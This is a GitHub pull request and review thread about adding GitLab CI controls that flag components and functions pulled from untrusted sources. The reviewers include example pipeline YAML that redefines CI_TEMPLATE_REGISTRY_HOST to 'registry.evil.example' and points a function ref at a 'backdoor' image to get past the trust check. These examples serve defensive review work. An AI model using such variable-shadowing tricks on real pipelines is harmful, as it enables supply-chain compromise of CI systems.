Skip to content

feat(controls): add componentMustComeFromAuthorizedSources and functi… - #387

Draft
Exypte wants to merge 8 commits into
getplumber:mainfrom
Exypte:feat/components-functions-authorized-sources
Draft

feat(controls): add componentMustComeFromAuthorizedSources and functi…#387
Exypte wants to merge 8 commits into
getplumber:mainfrom
Exypte:feat/components-functions-authorized-sources

Conversation

@Exypte

@Exypte Exypte commented Aug 3, 2026

Copy link
Copy Markdown

…onMustComeFromAuthorizedSources (ISSUE-414/415)

Adds two GitLab-only trusted-source allowlist controls, closing the same supply-chain gap containerImageMustComeFromAuthorizedSources covers for container images:

  • componentMustComeFromAuthorizedSources (ISSUE-414): flags include: component: references not matching trustedUrls. Variable resolution ($CI_SERVER_FQDN/$CI_PROJECT_PATH) reuses the existing gitlab.ReplaceVariableFromEnv helper (os.Getenv-based) before the Rego input is built.
  • functionMustComeFromAuthorizedSources (ISSUE-415): flags run:/func: step references not matching trustedUrls, with a separate Deprecated bucket for the legacy step: keyword and the deprecated git-repository loading form. No variable resolution — GitLab never resolves run:/func: fields server-side, so matching is literal text with $VAR/${VAR} notation normalization only, mirroring image_authorized_sources.rego.

Required new IR/parsing support for GitLab Functions (ir.Function, Job.Functions, GitlabJob.Run) since Plumber had none. AnalysisResult gains GitLabPipeline so per-control stats can be computed straight from the retained IR without a dedicated metrics collector.

@thomasboni

thomasboni commented Aug 3, 2026

Copy link
Copy Markdown
Contributor

@Exypte Thanks for the PR ! As discussed, the integration surface is complete. Great first contribution !

A few points before merge:

Blocking

1. A deprecated ref skips the trust check entirely

The two deny rules in function_authorized_sources.rego are mutually exclusive:

  • deprecated == true produces a medium "deprecated" finding
  • and the "unauthorized" path only fires on not fn.deprecated.

So a function that is both deprecated and untrusted only surfaces as medium, and both deprecated forms become evasion mechanisms:

  • step: registry.evil.example/backdoor:1 (legacy keyword)
  • func: gitlab.com/attacker/evil@v1.0.0 (git-repository form, classifyFunctionRef marks any host/path@ref as deprecated)

Each downgrades its own detection from critical to medium. Trust must be evaluated regardless of the reference form.

2. Deprecated refs should not emit findings at all

As discussed in our last call: deprecation is real information but it is not what this control measures, and mixing it in pollutes both the findings and the wording of ISSUE-415.

Remove the deprecated deny rule and the "or uses a deprecated reference form" wording from the code Description/Remediation in control/codes.go. Keeping the Deprecated field in the IR and the separate counter in render_details.go is fine, that data will feed a dedicated control later. This also resolves point 1: with the deprecated rule gone, every non-local ref goes through the trust check.

3. Replace the $CI_* defaults with a dynamic same-namespace option, modeled on githubActionMustComeFromAuthorizedSources

We discussed about this variable point too and I believe now githubActionMustComeFromAuthorizedSources would have been a better model instead of container images control.

The current trust model has two problems:

  1. Security (functions)
  • trustedUrls is matched as literal text against the ref, and the default trusts $CI_TEMPLATE_REGISTRY_HOST/$CI_PROJECT_PATH/*
  • GitLab predefined variables have the lowest precedence, so a malicious pipeline can shadow them:
      variables:
        CI_TEMPLATE_REGISTRY_HOST: registry.evil.example
      build:
        run:
          - name: x
            func: $CI_TEMPLATE_REGISTRY_HOST/$CI_PROJECT_PATH/echo:1

Plumber reports this as trusted while at runtime it pulls from the attacker's registry.

  1. Reliability (components)
  • The default entries only resolve when Plumber runs inside the scanned pipeline (os.Getenv). Run locally, nothing matches and every component is a false positive, as your own config comment acknowledges (user need to manually export all vars).

We already solved these issue for GitHub Actions: trustSameOrgActions derives the trust boundary dynamically from input.pipeline.projectPath in action_authorized_sources.rego, no environment variables involved.

How to fix

  • Add options
    • trustSameGroupComponents (defaulting to true. Trust the root, not only the first parent)
    • trustSameInstanceComponents (defaulting to false on gitlab.com, true elsewhere (self-hosted instance))
      Plumber knows the instance (conf.GitlabURL) and the project path (already on the IR as projectPath), and component sources arrive server-side resolved and version-stripped, so //* is computable at scan time, in CI or locally.
  • Keep trustedUrls as the manual allowlist on top but rename it in a similar way that githubActionMustComeFromAuthorizedSources does
  • Drop the $CI_* default entries and the env-var resolution in buildEngineConfig entirely
  • For functions the registry host varies by instance, so apply the same-namespace check to the path portion of the ref, and refuse to trust variable-based refs when the pipeline redefines CI_TEMPLATE_REGISTRY_HOST or CI_PROJECT_PATH in variables: (the IR already carries the pipeline variables).

4. Severity mismatch between the registry and the policies

control/codes.go declares both codes as high, but both policies emit "severity": "critical", and both values are live: CLI badges read the registry, the JSON output carries the policy value. Please align both policies on high. (ISSUE-101 has the same mismatch today, that one is on us, I'll open a separate cleanup for it.)

Minor but required

  • The component finding could also emit gitlabIncludeLocation like includes_outdated.rego does, for consumers keyed on it
  • Rebase your branch on main
  • Publish a PR in https://github.com/getplumber/getplumber.io to add the new control/issues in the doc

Exypte added a commit to Exypte/plumber that referenced this pull request Aug 5, 2026
…ed-sources controls

- function_authorized_sources.rego: evaluate trust for every function
  reference regardless of form; drop the deprecated-form deny rule so a
  deprecated ref can no longer bypass the untrusted-source check
  (ISSUE-415 previously downgraded such refs to a medium "deprecated"
  finding instead of flagging them as unauthorized).
- Replace the $CI_SERVER_FQDN/$CI_TEMPLATE_REGISTRY_HOST/$CI_PROJECT_PATH
  os.Getenv-based trust defaults with a dynamic same-namespace model
  read from input.pipeline.projectPath, modeled on
  githubActionMustComeFromAuthorizedSources's trustSameOrgActions:
  trustSameGroupComponents/trustSameInstanceComponents for components,
  trustSameGroupFunctions for functions. Closes both the variable-
  shadowing hole (GitLab predefined vars have the lowest precedence) and
  the local-scan false-positive issue the env-var approach had.
- Rename trustedUrls -> trustedComponents/trustedFunctions on both
  controls to match the trustedGithubActions naming convention.
- Align both policies' emitted severity with control/codes.go (high).
- Emit gitlabIncludeLocation on the component finding, like
  includes_outdated.rego does.
- Fix two pre-existing build breaks on this branch unrelated to the
  review comments but blocking make build/make test: a call to the
  already-deleted gitlab.ReplaceVariableFromEnv (naturally removed by
  dropping env-var resolution), and rules_test.go calling the
  nonexistent engine.LoadFromFS instead of LoadFromFSFiltered.
- Add control/task_test.go covering the new gitlabInstanceHost /
  isGitlabSaaS helpers.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
@thomasboni

Copy link
Copy Markdown
Contributor

@Exypte my review of the new version

Same-group trust for functions ignores the host

_is_same_group drops the first path segment and never looks at it again, so trust is decided on the path alone. With the default config and a project at my-group/my-project:

func: registry.evil.example/my-group/whatever:1 gives kind oci, empty allowlist, _path_after_host returns my-group/whatever:1, _matches_own_namespace sees startswith("my-group/whatever:1", "my-group/") and returns true. No finding. An attacker only needs a registry they control with a top-level path named after the victim's root namespace.

The idiom branch has the same hole: registry.evil.example/$CI_PROJECT_PATH/backdoor:1 matches startswith(path, "$CI_PROJECT_PATH/") and gets trusted, then resolves to the attacker's registry at job runtime.

The components policy is not affected, _is_same_group there checks startswith(source, instanceHost + "/"). That asymmetry is what opens this.

Suggested direction: for the idiom branch, match the full ref against $CI_TEMPLATE_REGISTRY_HOST/$CI_PROJECT_PATH/ rather than the path after host. For the namespace branch, constrain the host to a known set (instance registry host, configurable) instead of ignoring it. Ignoring the host was a defensible call given registry conventions vary, but combined with same-group trust on by default it hands out trust for free.

Confusing value for trustSameInstanceComponents

The dynamic default is dead code as shipped:

buildEngineConfig computes trustSameInstance := !isGitlabSaaS(gitlabURL) and only keeps it when the pointer is nil, but defaultConfig/.plumber.yaml writes trustSameInstanceComponents: false explicitly, so the pointer is never nil for a zero-config user and the self-hosted branch never runs.

A self-hosted instance gets false, the opposite of what the comment directly above the key promises, and plumber config generate propagates the same explicit false into every generated file.

Missing wires from the contribution checklist

Some items of CONTRIBUTING.md section Adding a New Control are missing :

  • 14, cmd/init.go: the wizard is a separate code path and its menu coverage is hand maintained, so these controls will never be offered by plumber config init
  • 19, website docs: ISSUE-414 and ISSUE-415 entries in getplumber.io/src/data/issues.ts with gitlab sub-blocks, in a separate PR against that repo

@Exypte

Exypte commented Aug 10, 2026

Copy link
Copy Markdown
Author

@thomasboni I've fixed the blocking points mentioned previously.

Note

I took the liberty of changing the default behavior of the idiom branches in functionMustComeFromAuthorizedSources.trustedFunctions, since I find it inconsistent to do this implicitly in functionMustComeFromAuthorizedSources.trustSameGroupFunctions.

Why

Implicitly trusting $CI_TEMPLATE_REGISTRY_HOST/$CI_PROJECT_PATH/* is inconsistent with the notion of a namespace, since a GitLab registry has no such notion, nor any link to the current project.

Default values

functionMustComeFromAuthorizedSources:
  trustedFunctions:
    - $CI_TEMPLATE_REGISTRY_HOST/$CI_PROJECT_PATH/*
    - ${CI_TEMPLATE_REGISTRY_HOST}/${CI_PROJECT_PATH}/*

Behavior

In addition to matching the pattern defined in functionMustComeFromAuthorizedSources.trustedFunctions, the Rego splits the value and verifies that GitLab's default variables haven't been redefined.

@Exypte
Exypte force-pushed the feat/components-functions-authorized-sources branch from 9337a6e to a1b5b56 Compare August 11, 2026 09:42
thomasboni pushed a commit to Exypte/plumber that referenced this pull request Aug 18, 2026
…ed-sources controls

- function_authorized_sources.rego: evaluate trust for every function
  reference regardless of form; drop the deprecated-form deny rule so a
  deprecated ref can no longer bypass the untrusted-source check
  (ISSUE-415 previously downgraded such refs to a medium "deprecated"
  finding instead of flagging them as unauthorized).
- Replace the $CI_SERVER_FQDN/$CI_TEMPLATE_REGISTRY_HOST/$CI_PROJECT_PATH
  os.Getenv-based trust defaults with a dynamic same-namespace model
  read from input.pipeline.projectPath, modeled on
  githubActionMustComeFromAuthorizedSources's trustSameOrgActions:
  trustSameGroupComponents/trustSameInstanceComponents for components,
  trustSameGroupFunctions for functions. Closes both the variable-
  shadowing hole (GitLab predefined vars have the lowest precedence) and
  the local-scan false-positive issue the env-var approach had.
- Rename trustedUrls -> trustedComponents/trustedFunctions on both
  controls to match the trustedGithubActions naming convention.
- Align both policies' emitted severity with control/codes.go (high).
- Emit gitlabIncludeLocation on the component finding, like
  includes_outdated.rego does.
- Fix two pre-existing build breaks on this branch unrelated to the
  review comments but blocking make build/make test: a call to the
  already-deleted gitlab.ReplaceVariableFromEnv (naturally removed by
  dropping env-var resolution), and rules_test.go calling the
  nonexistent engine.LoadFromFS instead of LoadFromFSFiltered.
- Add control/task_test.go covering the new gitlabInstanceHost /
  isGitlabSaaS helpers.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
@thomasboni
thomasboni force-pushed the feat/components-functions-authorized-sources branch from a1b5b56 to eb68333 Compare August 18, 2026 06:11
Exypte and others added 8 commits August 18, 2026 06:15
…onMustComeFromAuthorizedSources (ISSUE-414/415)

Adds two GitLab-only trusted-source allowlist controls, closing the same
supply-chain gap containerImageMustComeFromAuthorizedSources covers for
container images:

- componentMustComeFromAuthorizedSources (ISSUE-414): flags include:
  component: references not matching trustedUrls. Variable resolution
  ($CI_SERVER_FQDN/$CI_PROJECT_PATH) reuses the existing
  gitlab.ReplaceVariableFromEnv helper (os.Getenv-based) before the Rego
  input is built.
- functionMustComeFromAuthorizedSources (ISSUE-415): flags run:/func: step
  references not matching trustedUrls, with a separate Deprecated bucket
  for the legacy step: keyword and the deprecated git-repository loading
  form. No variable resolution — GitLab never resolves run:/func: fields
  server-side, so matching is literal text with $VAR/${VAR} notation
  normalization only, mirroring image_authorized_sources.rego.

Required new IR/parsing support for GitLab Functions (ir.Function,
Job.Functions, GitlabJob.Run) since Plumber had none. AnalysisResult
gains GitLabPipeline so per-control stats can be computed straight from
the retained IR without a dedicated metrics collector.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…ed-sources controls

- function_authorized_sources.rego: evaluate trust for every function
  reference regardless of form; drop the deprecated-form deny rule so a
  deprecated ref can no longer bypass the untrusted-source check
  (ISSUE-415 previously downgraded such refs to a medium "deprecated"
  finding instead of flagging them as unauthorized).
- Replace the $CI_SERVER_FQDN/$CI_TEMPLATE_REGISTRY_HOST/$CI_PROJECT_PATH
  os.Getenv-based trust defaults with a dynamic same-namespace model
  read from input.pipeline.projectPath, modeled on
  githubActionMustComeFromAuthorizedSources's trustSameOrgActions:
  trustSameGroupComponents/trustSameInstanceComponents for components,
  trustSameGroupFunctions for functions. Closes both the variable-
  shadowing hole (GitLab predefined vars have the lowest precedence) and
  the local-scan false-positive issue the env-var approach had.
- Rename trustedUrls -> trustedComponents/trustedFunctions on both
  controls to match the trustedGithubActions naming convention.
- Align both policies' emitted severity with control/codes.go (high).
- Emit gitlabIncludeLocation on the component finding, like
  includes_outdated.rego does.
- Fix two pre-existing build breaks on this branch unrelated to the
  review comments but blocking make build/make test: a call to the
  already-deleted gitlab.ReplaceVariableFromEnv (naturally removed by
  dropping env-var resolution), and rules_test.go calling the
  nonexistent engine.LoadFromFS instead of LoadFromFSFiltered.
- Add control/task_test.go covering the new gitlabInstanceHost /
  isGitlabSaaS helpers.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…wizard support

- Restore trustSameInstanceComponents=true default in code (control/task.go)
  rather than the static config, so GitLab SaaS vs self-hosted is still
  correctly split via isGitlabSaaS.
- Add config init wizard prompts for componentMustComeFromAuthorizedSources
  and functionMustComeFromAuthorizedSources, with a regression test
  ensuring the starter config matches every enabled GitLab default control.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…gistry host

Same-group trust for run:/func: refs matched on path text only, dropping
the host segment unchecked. An attacker-controlled registry could claim
any path (e.g. registry.evil.example/my-group/... or .../$CI_PROJECT_PATH/...)
and be trusted as if it were the project's own namespace. Threads
instanceHost into functionAuthorizedSources config (mirroring
componentAuthorizedSources) and requires the $CI_TEMPLATE_REGISTRY_HOST
idiom branch to match the full ref, not just the path after the host.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…idiom branch

functionMustComeFromAuthorizedSources.trustedFunctions now ships
$CI_TEMPLATE_REGISTRY_HOST/$CI_PROJECT_PATH/* (both $VAR and ${VAR}
notation) as a default entry, mirroring how trustedUrls ships its
$CI_REGISTRY_IMAGE patterns. _in_allowlist gained a generic guard that
rejects any trustedFunctions pattern whose referenced $CI_* variables
are redefined by the pipeline, replacing the old hardcoded idiom
branch of _matches_own_namespace (which only checked
CI_TEMPLATE_REGISTRY_HOST/CI_PROJECT_PATH). The remaining host+root-
namespace branch (trustSameGroupFunctions/instanceHost) is unchanged,
and its "host ignored" comments were corrected across
.plumber.yaml/defaultConfig/.plumber.yaml/plumberconfig.go to reflect
that the host is anchored against instanceHost, not skipped.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Document ISSUE-414/ISSUE-415 in docs/GITLAB_ISSUES.md and add a
CONTRIBUTING.md §19 checklist entry so future GitLab controls follow
the same catalog convention as docs/GITHUB_ISSUES.md.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
… recipe

ISSUE-414 no longer smuggles the include source through the job field
(an include is not a CI job); it identifies on componentPath like its
siblings ISSUE-408/409. ISSUE-415 now emits file/line (source pointer)
and step, so two run: steps in one job referencing the same function no
longer collide to one fingerprint. Both controls get identity pins in
rules_test.go (assertSubjectKey / assertNoJob plus a fingerprint
collision guard).

On top of the recipe-v4 control library (8864b2d), both codes get their
identity declarations (ISSUE-414: file/job/componentPath with job pinned
empty; ISSUE-415: file/job/link/step) and their empty-finding
fingerprint pins in the golden, which the parity and witness gates now
require.
@thomasboni
thomasboni force-pushed the feat/components-functions-authorized-sources branch from eb68333 to ac7a031 Compare August 18, 2026 06:23
@thomasboni

Copy link
Copy Markdown
Contributor

@Exypte thanks for the update. I've rebased your branch on main.

Below are the findings from a full review pass. I verified the four load-bearing ones by running the real buildEngineConfig output through the actual OPA engine (not by reading the code), so each comes with a reproduced result. The first two I'd consider merge blockers.

🔴 1. Same-group function trust never matches the supported (OCI) reference form

buildEngineConfig sets functionAuthorizedSources.instanceHost to the GitLab web host (gitlabInstanceHost(conf.GitlabURL)gitlab.com). But _matches_own_namespace requires startswith(ref, instanceHost + "/"), and GitLab Function OCI refs live on the registry host (registry.gitlab.com, i.e. $CI_TEMPLATE_REGISTRY_HOST). So a project's own function fails the same-group check on gitlab.com.

Reproduced (trustSameGroupFunctions: true, no explicit trustedFunctions, GitlabURL = https://gitlab.com):

build:
  run:
    - name: deploy
      func: registry.gitlab.com/my-group/my-project/deploy:1.0.0

ISSUE-415 fires (false positive), even though the function is in the project's own namespace.

The only reference form the same-group branch can actually match in production is the deprecated git form (gitlab.com/group/proj@ref), which does use the web host. The passing test same_group_host_and_path_match_trusted hides this because it injects instanceHost: "registry.gitlab.com" directly, a value production never produces.

Fix: source the anchor host from the real registry value instead of the web host. Plumber runs in two contexts, so cover both: in-pipeline (IsRunningInCI()), read os.Getenv("CI_TEMPLATE_REGISTRY_HOST") / CI_REGISTRY for the actual registry host (no guessing); out-of-pipeline, derive it (registry.<instanceHost>, registry.gitlab.com on SaaS) from the gitlabURL / projectPath already passed into buildEngineConfig. Then have _matches_own_namespace accept the registry host as well as the web host.

🔴 2. Job-level variables: bypass the _pattern_redefined guard

_pipeline_defines_var only checks input.pipeline.globalVariables / localGlobalVariables. But job-level variables: also override predefined variables (with higher precedence), and the IR already carries them (ir.Job.Variables / LocalVariables, populated in enrichFromMergedConf). The deny rule already binds job, but the guard never consults it.

Reproduced against the shipped default trustedFunctions: ["$CI_TEMPLATE_REGISTRY_HOST/$CI_PROJECT_PATH/*"]:

# global-scope shadow -> guard catches it, ISSUE-415 fires  (correct)
variables:
  CI_TEMPLATE_REGISTRY_HOST: registry.evil.example

# SAME shadow moved into the job -> guard misses it, NO finding  (bypass)
build:
  variables:
    CI_TEMPLATE_REGISTRY_HOST: registry.evil.example
  run:
    - name: pwn
      func: $CI_TEMPLATE_REGISTRY_HOST/$CI_PROJECT_PATH/backdoor:1

At runtime GitLab resolves the func ref in the job's variable scope → registry.evil.example/<project>/backdoor:1, marked trusted. This is exactly the attack the guard was added to block, just one scope down, and a malicious MR editing only .gitlab-ci.yml is squarely in this control's threat model.

Note this is not something env resolution can close. GitLab scopes variables: per job, and Plumber analyzes every job while running as its own scan job, so os.Getenv (even in-pipeline) only ever holds Plumber's own job scope, never the analyzed build job's local override. Resolving the ref from Plumber's env would actually substitute the clean global value and launder the attack into "trusted". The override exists only in the merged YAML we already parse, which is exactly why it must be read from the analyzed job's own block.

Fix: thread the analyzed job into _pattern_redefined / _in_allowlist and also reject when the referenced $CI_* variable is defined in that job's localVariables (prefer the project-authored view over the merged Variables so a value a trusted upstream template legitimately sets doesn't false-positive). Add a regression test mirroring the global-scope case with the redefinition on the job.

🟠 3. Official GitLab catalog components are flagged by default on gitlab.com

With shipped defaults on gitlab.com (trustedComponents: [], same-instance force-disabled by isGitlabSaaS, same-group = own root namespace only), nothing trusts GitLab's own curated catalog.

Reproduced:

include:
  - component: gitlab.com/components/sast/sast@6.0.0

ISSUE-414 fires ("untrusted source"). This is the single most common legitimate component usage on gitlab.com, so out-of-the-box precision is poor and it will train users to ignore the control. Contrast with functionMustComeFromAuthorizedSources (ships default patterns) and the GitHub action control (ships trusted-owner defaults).

Fix: add a new option trustGitlabOfficialComponents (default true in the shipped default). If true, trust the official namespaces (gitlab.com/components/*, gitlab.com/gitlab-org/*).

🟠 4. Explicit trustSameInstanceComponents: true is silently ignored on gitlab.com

This is the expected behavior but it must be mentioned as comment in the default doc

🟡 5. The buildEngineConfig projection for both controls has no test coverage

Every TestIssue414 / TestIssue415 case injects a hand-built config map, so the Go→Rego boundary is never crossed. Deleting the SaaS override line, or a key typo, would silently disable both controls on gitlab.com with the suite green. control/cache_poisoning_contract_test.go is the exact precedent to mirror (and this PR already touched that file for the signature change). Findings 1-4 above are all reachable precisely because this layer is untested.

🟡 6. Stats cases + GitLabPipeline plumbing untested

The new buildGitLabControlStats cases and the result.GitLabPipeline plumbing are untested. Both stat cases guard with if result.GitLabPipeline != nil, so if the plumbing regresses to nil the output silently shows Total 0 / Deprecated 0 next to a nonzero Unauthorized. The Deprecated stat is the only user-visible surface of the step:-alias / git-form deprecation tracking (the policy deliberately ignores it), so losing it silently drops a documented feature. cmd/render_findinggroups_test.go already tests this layer for GitHub.

⚪ 7. Minor

  • Unwired fixtures: the six policies/testdata/ISSUE-414/415/*.yml files are referenced by no test (the tests build IR by hand). Either wire them through the real extractGitLabRunSteps / include extractors, or drop them, they currently imply e2e coverage that doesn't exist.
  • Cosmetic: the commit change .plumber.yaml value is worth squashing into fix(controls): default trustedFunctions ... with a real message.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants